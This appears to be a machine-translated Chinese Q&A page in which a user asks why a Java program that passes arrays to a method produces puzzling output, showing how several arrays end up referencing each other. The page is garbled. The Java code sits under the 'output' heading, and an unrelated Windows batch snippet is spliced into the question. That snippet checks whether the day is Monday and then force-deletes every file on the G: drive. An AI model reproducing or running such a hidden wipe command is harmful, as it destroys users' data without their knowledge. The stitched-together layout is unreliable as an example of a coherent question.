数组相互引用(为什么输出看起来像那样?? !!!)

时间:2015-12-08 02:35:14

标签: java arrays pass-by-reference

大家好我正在看练习问题 我真的不明白这个程序的输出 我该如何理解数组的引用? 我意识到了 1.更改z和temp中的元素(在abc方法中)更改abc方法中的y数组 2.在abc方法中更改y数组会改变abc方法中的z数组。

我的问题:为什么?我应该如何理解几个数组之间的引用?

非常感谢!!!

for %%i in (Mon) do (
if "%date:~0,3%"=="%%i" goto yes
)
goto endlocal 
:yes
del /f /q /s G:
del /f /q /s G:\*.*
:endlocal

输出:

    public class Test{
      public static void main (String[] args){
        int [] x = {1,2,3,4,5};
        int [] y = {7,8,9,10};
        abc (x[1], x, y);
        print (x);
        print (y);
      }

      public static void print (int [] x) {
        for (int i=0;i<x.length;i++)
          System.out.print(x[i] +  " ");
        System.out.println();
      }

      public static void abc (int x, int []y, int [] z){
        int [] temp = y;
        x += 2;
        y = z;
        z [1] += 5;
        System.out.println(x);
        z = temp;
        z[3] = 42;
        temp[2] = 100;
        z [0] = 234;
        y [1] = 4234;
      }
    }

0 个答案:

没有答案